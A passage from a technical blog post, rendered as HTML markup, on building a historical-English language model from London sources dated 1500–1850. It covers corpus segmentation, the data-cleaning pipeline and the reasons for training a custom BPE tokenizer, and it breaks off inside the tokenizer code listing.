&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; [seg &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; seg &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; final_segments &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(seg) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;50&lt;/span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 8: Corpus Creation and Segmentation Functions&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;During my local runs, this final processing stage generated a comprehensive corpus of over 500 million characters across ~250,000 segments, with an average segment length of around 2,000 characters. The success rate of files making it into the final corpus ranged from 70% to 90%, depending on the quality and availability of the source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Final Corpus Statistics:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Total Sources Processed&lt;/strong&gt;: 218+ historical sources&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Final Corpus Size&lt;/strong&gt;: 500M+ characters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Training Segments&lt;/strong&gt;: ~250,000 segments&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Average Segment Length&lt;/strong&gt;: ~2,000 characters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Success Rate&lt;/strong&gt;: 70-90% (depending on source availability)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;23-detailed-data-processing-flow&#34;&gt;2.3 Detailed Data Processing Flow&lt;/h3&gt;
&lt;p&gt;Building on the high-level flow and having reviewed each of the areas, the detailed flow below illustrates the complete data cleaning process, including rejection paths, error handling, and statistics tracking. This is intended to provide a bird&amp;rsquo;s-eye view of the entire process.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig4&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[📁 Raw Files] --&amp;gt; B{File Type Detection}
    
    B --&amp;gt;|.txt, .txt.utf-8| C[📄 Text File]
    B --&amp;gt;|.pdf| D[📄 PDF File]
    B --&amp;gt;|.html, .htm| E[📄 HTML File]
    B --&amp;gt;|.xml| F[📄 XML File]
    B --&amp;gt;|No Extension| G{Content Detection}
    
    G --&amp;gt;|HTML-like| E
    G --&amp;gt;|Text-like| C
    G --&amp;gt;|Binary/Unknown| REJECT1[❌ REJECTED]
    
    C --&amp;gt; H[🧹 clean_gutenberg_text]
    D --&amp;gt; I[🔧 extract_text_from_pdf]
    E --&amp;gt; J[🧹 clean_html_text]
    F --&amp;gt; K{XML Type Detection}
    
    I --&amp;gt; L[🧹 clean_pdf_text]
    
    K --&amp;gt;|Old Bailey| M[🔧 extract_old_bailey_text]
    K --&amp;gt;|London Lives| N[🔧 extract_london_lives_text]
    
    M --&amp;gt; O[🧹 clean_old_bailey_text]
    N --&amp;gt; P[🧹 clean_london_lives_text]
    
    H --&amp;gt; Q[🔧 normalize_text]
    L --&amp;gt; Q
    J --&amp;gt; Q
    O --&amp;gt; Q
    P --&amp;gt; Q
    
    Q --&amp;gt; R[🔍 Duplicate Detection]
    R --&amp;gt;|Duplicate| REJECT2[❌ REJECTED - Duplicate]
    R --&amp;gt;|Unique| S[🌍 Language Detection]
    
    S --&amp;gt;|Non-English| REJECT3[❌ REJECTED - Non-English]
    S --&amp;gt;|English| T[📊 Quality Analysis]
    
    T --&amp;gt; U{Quality Check}
    U --&amp;gt;|Poor Quality| REJECT4[❌ REJECTED - Poor Quality]
    U --&amp;gt;|Good Quality| V[💾 Save to Processed Directory]
    
    V --&amp;gt; W[📊 Update Statistics]
    W --&amp;gt; X[✅ Successfully Processed]
    
    REJECT1 --&amp;gt; Y[📝 Log Rejection Reason]
    REJECT2 --&amp;gt; Y
    REJECT3 --&amp;gt; Y
    REJECT4 --&amp;gt; Y
    
    Y --&amp;gt; Z[📊 Update Rejection Stats]
    
    style A fill:#e1f5fe
    style X fill:#c8e6c9
    style REJECT1 fill:#ffcdd2
    style REJECT2 fill:#ffcdd2
    style REJECT3 fill:#ffcdd2
    style REJECT4 fill:#ffcdd2
    style Y fill:#fff3e0
    style Z fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 4: Detailed Data Processing Pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;25-corpus-creation-process&#34;&gt;2.5 Corpus Creation Process&lt;/h3&gt;
&lt;p&gt;After cleaning, the system creates the final training corpus through intelligent segmentation that preserves historical narrative flow:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;📁 Cleaned Files
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ↓
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;🔧 create_comprehensive_corpus()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── Read all cleaned_*.txt files
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── Split into training segments (split_into_training_segments)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── Split on double newlines (paragraphs)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── Max length: 2000 characters
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── Min length: 100 characters
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   └── Further split long segments at sentence boundaries
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── Filter segments (min 50 characters)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── Write to london_historical_corpus_comprehensive.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The corpus creation process reads all cleaned text files and intelligently segments them into training-ready chunks. It first splits on double newlines to preserve paragraph boundaries, which are natural break points in historical text. Segments are constrained to a maximum of 2000 characters to fit within the model&amp;rsquo;s context window, with a minimum of 100 characters to ensure substantial content. Long segments are further split at sentence boundaries to maintain readability. Finally, segments shorter than 50 characters are filtered out as they&amp;rsquo;re unlikely to contain meaningful historical content.&lt;/p&gt;
&lt;p&gt;Proper segmentation is crucial for training language models. The model needs to learn from coherent text segments that maintain historical narrative flow while fitting within its context window. Splitting on paragraph boundaries preserves the natural structure of historical documents, while sentence-level splitting ensures that very long paragraphs don&amp;rsquo;t exceed the model&amp;rsquo;s processing capabilities. This approach maximizes the model&amp;rsquo;s ability to learn from authentic historical language patterns while maintaining training efficiency.&lt;/p&gt;
&lt;h3 id=&#34;26-outcome-training-ready-corpus&#34;&gt;2.6 Outcome: Training-Ready Corpus&lt;/h3&gt;
&lt;p&gt;The result is a &lt;strong&gt;clean, historically faithful corpus&lt;/strong&gt; containing over 500 million characters of authentic historical English spanning 350 years of London history from 1500-1850. The corpus comprises high-quality text with minimal OCR artifacts, preserving historical language patterns and a rich cultural context that reflects the social, political, and economic realities of various historical periods. The text has been intelligently segmented for optimal language model training, with careful attention to maintaining the natural flow of historical narratives while ensuring compatibility with modern training techniques.&lt;/p&gt;
&lt;p&gt;This corpus serves as the essential foundation for training our specialized historical tokenizer and language model, ensuring the model learns authentic historical English rather than modern text patterns. By providing the model with genuine examples of how people wrote and spoke during different historical periods, we enable it to generate text that captures the linguistic nuances, cultural references, and historical context that make historical language modeling both challenging and rewarding.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;💻 Try It Yourself:&lt;/strong&gt; The complete implementation, including all the data collection scripts, cleaning algorithms, and quality validation systems described in this section, is available in the &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		helloLondon GitHub repository
	&lt;/span&gt;
&lt;/a&gt;. The repository includes detailed documentation, example usage, and step-by-step guides for setting up your own historical language model training pipeline.&lt;/p&gt;
&lt;p&gt;Now that we have examined the data collection and cleaning process, we can proceed to the next steps: creating a custom historical tokenizer and preparing for model training.&lt;/p&gt;
&lt;h2 id=&#34;3-custom-historical-tokenizer-the-key-to-authentic-historical-text-generation&#34;&gt;3. Custom Historical Tokenizer: The Key to Authentic Historical Text Generation&lt;/h2&gt;
&lt;p&gt;Creating a custom tokenizer is crucial for generating effective historical text. This section examines the necessity of a custom tokenizer, the challenges presented by historical language, and our chosen architecture. The tokenizer preserves the semantic meaning of historical words and phrases, enabling coherent and contextually accurate historical narratives.&lt;/p&gt;
&lt;p&gt;Standard tokenizers like GPT-2&amp;rsquo;s fragment archaic words like &amp;ldquo;quoth&amp;rdquo; and &amp;ldquo;hast&amp;rdquo; into multiple subword tokens, destroying semantic meaning crucial for historical text generation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real Example - Standard Tokenizer vs. Our Custom Tokenizer:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Standard GPT-2 Tokenizer:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;Quoth the alderman, &amp;#39;Tis a fair day at Newgate&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;→ [&amp;#39;Qu&amp;#39;, &amp;#39;oth&amp;#39;, &amp;#39; the&amp;#39;, &amp;#39; ald&amp;#39;, &amp;#39;erman&amp;#39;, &amp;#39;,&amp;#39;, &amp;#39; &amp;#39;, &amp;#39;&amp;#39;&amp;#39;, &amp;#39;T&amp;#39;, &amp;#39;is&amp;#39;, &amp;#39; a&amp;#39;, &amp;#39; fair&amp;#39;, &amp;#39; day&amp;#39;, &amp;#39; at&amp;#39;, &amp;#39; New&amp;#39;, &amp;#39;gate&amp;#39;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Our Custom Historical Tokenizer:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;#34;Quoth the alderman, &amp;#39;Tis a fair day at Newgate&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;→ [&amp;#39;&amp;lt;|quoth|&amp;gt;&amp;#39;, &amp;#39; the&amp;#39;, &amp;#39; alderman&amp;#39;, &amp;#39;,&amp;#39;, &amp;#39; &amp;#39;, &amp;#39;&amp;#39;&amp;#39;, &amp;#39;&amp;lt;|tis|&amp;gt;&amp;#39;, &amp;#39; a&amp;#39;, &amp;#39; fair&amp;#39;, &amp;#39; day&amp;#39;, &amp;#39; at&amp;#39;, &amp;#39; &amp;lt;|newgate|&amp;gt;&amp;#39;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The standard tokenizer breaks historical language into 18 meaningless fragments, losing semantic meaning and historical context. Our custom tokenizer reduces this to 12 meaningful tokens, preserving authentic historical language patterns essential for coherent text generation.&lt;/p&gt;
&lt;p&gt;A tokenizer that fragments historical language destroys the model&amp;rsquo;s ability to learn authentic patterns. The model needs to perceive &amp;ldquo;quoth&amp;rdquo; as a single concept, rather than fragmented subwords, to capture the linguistic nuances of different historical periods.&lt;/p&gt;
&lt;h3 id=&#34;31-what-happens-with-off-the-shelf-tokenizers&#34;&gt;3.1 What Happens with Off-the-Shelf Tokenizers&lt;/h3&gt;
&lt;p&gt;What would happen if we used standard tokenizers like tiktoken or GPT-2&amp;rsquo;s tokenizer?&lt;/p&gt;
&lt;p&gt;Standard tokenizers would force the model to waste capacity reconstructing fragmented historical words from subwords rather than learning historical language patterns. The model might learn to generate &amp;ldquo;Qu&amp;rdquo; + &amp;ldquo;oth&amp;rdquo; but struggle to use &amp;ldquo;quoth&amp;rdquo; in new contexts. Historical phrases like &amp;ldquo;methinks&amp;rdquo; would split into meaningless fragments, losing semantic coherence. London geography becomes particularly problematic, as place names like &amp;ldquo;Newgate&amp;rdquo; fragment, making spatial relationships harder to understand.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation Quality Issues:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# What you&amp;#39;d get with standard tokenizer:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Quoth the alderman, &amp;#39;Tis a fair day at Newgate&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;→&lt;/span&gt; Generates: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Qu oth the ald erman, &amp;#39;T is a fair day at New gate&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;→&lt;/span&gt; Result: Broken, unreadable historical text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# What you get with our custom tokenizer:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Quoth the alderman, &amp;#39;Tis a fair day at Newgate&amp;#34;&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;→&lt;/span&gt; Generates: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Quoth the alderman, &amp;#39;Tis a fair day at Newgate&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;→&lt;/span&gt; Result: Authentic, coherent historical text&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A vocabulary that&amp;rsquo;s too small (10K tokens) would fragment even more historical words, making the problem worse, while a vocabulary that&amp;rsquo;s too large (100K+ tokens) would overfit to rare historical terms, wasting capacity on words that appear only once. Our choice of 30K tokens provides a balanced approach that captures common historical patterns without overfitting, ensuring the model learns the most important historical language patterns efficiently.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Real-World Example:&lt;/strong&gt;
With a standard tokenizer, our model might generate:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;The ald erman walk ed to New gate where he saw the pris oner&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;With our custom tokenizer, it generates:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;&amp;quot;The alderman walked to Newgate where he saw the prisoner&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The difference in historical text authenticity is significant between the two approaches.&lt;/p&gt;
&lt;h3 id=&#34;32-tokenizer-architecture&#34;&gt;3.2 Tokenizer Architecture&lt;/h3&gt;
&lt;p&gt;I had started with the easier WordPiece tokenizer (more of an accident rather than by design). Still, I realized later that it was unsuitable for historical text due to the &lt;code&gt;##&lt;/code&gt; subword prefix artifacts. We need a tokenizer that can handle historical English efficiently while preserving semantic meaning, unlike standard tokenizers like GPT-2&amp;rsquo;s WordPiece approach, which fragments historical language and, as a result, destroys the linguistic patterns we want to preserve. After some experimentation, I settled on a custom Byte Pair Encoding (BPE) tokenizer trained specifically on historical English.&lt;/p&gt;
&lt;p&gt;BPE is a subword tokenization algorithm that learns to break text into meaningful subword units by iteratively finding the most frequent character pairs in the training corpus and merging them into single tokens. The process begins with individual characters and gradually evolves into common words and phrases.&lt;/p&gt;
&lt;p&gt;For example, if &lt;code&gt;&amp;quot;th&amp;quot;&lt;/code&gt; appears frequently in our historical corpus, BPE will learn to treat it as a single token rather than separate &lt;code&gt;&amp;quot;t&amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;quot;h&amp;quot;&lt;/code&gt; tokens. This is particularly valuable for historical English, where words like &lt;code&gt;&amp;quot;thou&amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;quot;thee&amp;quot;&lt;/code&gt;, and &lt;code&gt;&amp;quot;thine&amp;quot;&lt;/code&gt; share common prefixes and suffixes.&lt;/p&gt;
&lt;h4 id=&#34;321-tokenizer-training-process&#34;&gt;3.2.1 Tokenizer Training Process&lt;/h4&gt;
&lt;p&gt;The BPE training algorithm analyzes our entire historical corpus to identify the most frequent character combinations, building a vocabulary that&amp;rsquo;s optimized for historical language patterns. We start with a base alphabet (comprising all letters) and special tokens, then iteratively merge the most frequent pairs until we reach our target vocabulary size of 30,000 tokens. This ensures that common historical words, such as &lt;code&gt;&amp;quot;quoth&amp;quot;&lt;/code&gt;, &lt;code&gt;&amp;quot;hast&amp;quot;&lt;/code&gt;, and &lt;code&gt;&amp;quot;methinks&amp;quot;&lt;/code&gt;, are treated as single tokens, while still allowing for the handling of rare or unknown words by breaking them into learned subword units.&lt;/p&gt;
&lt;p&gt;The training process is computationally efficient and produces a tokenizer that&amp;rsquo;s specifically tuned to the linguistic patterns found in our historical corpus.&lt;/p&gt;
&lt;p&gt;In this case, we don&amp;rsquo;t have to reinvent the wheel and use the Hugging Face &lt;code&gt;tokenizers&lt;/code&gt; library, which provides a modular approach to building custom tokenizers. The library is organized into several key components: &lt;code&gt;models&lt;/code&gt; define the core tokenization algorithm (BPE, WordPiece, Unigram), &lt;code&gt;pre_tokenizers&lt;/code&gt; handle initial text splitting, &lt;code&gt;normalizers&lt;/code&gt; clean and standardize text, &lt;code&gt;trainers&lt;/code&gt; configure the learning process, and &lt;code&gt;processors&lt;/code&gt; handle special token insertion. This modular design enables us to mix and match components to create a tokenizer tailored to our specific use case.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;models&lt;/code&gt; module offers several tokenization algorithms: &lt;code&gt;BPE()&lt;/code&gt; for Byte Pair Encoding (what we use), &lt;code&gt;WordPiece()&lt;/code&gt; for Google&amp;rsquo;s WordPiece algorithm, &lt;code&gt;Unigram()&lt;/code&gt; for Google&amp;rsquo;s Unigram language model, and &lt;code&gt;WordLevel()&lt;/code&gt; for simple word-level tokenization.&lt;/p&gt;
&lt;p&gt;Each has different strengths - BPE is efficient and handles unknown words well, WordPiece is used by BERT but creates &lt;code&gt;##&lt;/code&gt; artifacts, Unigram is more flexible but computationally expensive, and WordLevel is simple but creates very large vocabularies.&lt;/p&gt;
&lt;p&gt;Let us look at the code in &lt;a href=&#34;#listing9&#34; class=&#34;listing-ref&#34;&gt;Listing 9&lt;/a&gt; for training our custom historical BPE tokenizer:&lt;/p&gt;
&lt;figure id=&#34;listing9&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;train_tokenizer&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Train a custom tokenizer for historical English&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Import the tokenizers library components&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;tokenizers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Tokenizer, models, pre_tokenizers, processors, trainers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;tokenizers.normalizers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; Sequence, NFD, StripAccents
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Training custom historical tokenizer...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Corpus: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;corpus_path&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Target vocabulary: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;vocab_size&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;,&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; tokens&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Output directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;output_dir&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize BPE tokenizer (not WordPiece)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# models.BPE() creates a Byte Pair Encoding model that will learn subword patterns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Tokenizer(models&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;BPE())
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Normalizers for historical text - preserve case for better text reconstruction&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Normalizers clean and standardize text before tokenization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;normalizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; Sequence([
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        NFD(),           &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Unicode normalization - converts characters to canonical form&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        StripAccents()   &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove accents - converts &amp;#34;café&amp;#34; to &amp;#34;cafe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pre-tokenizer for historical English - use simple whitespace splitting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pre-tokenizers split text into initial segments before the main tokenization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;pre_tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pre_tokenizers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Sequence([
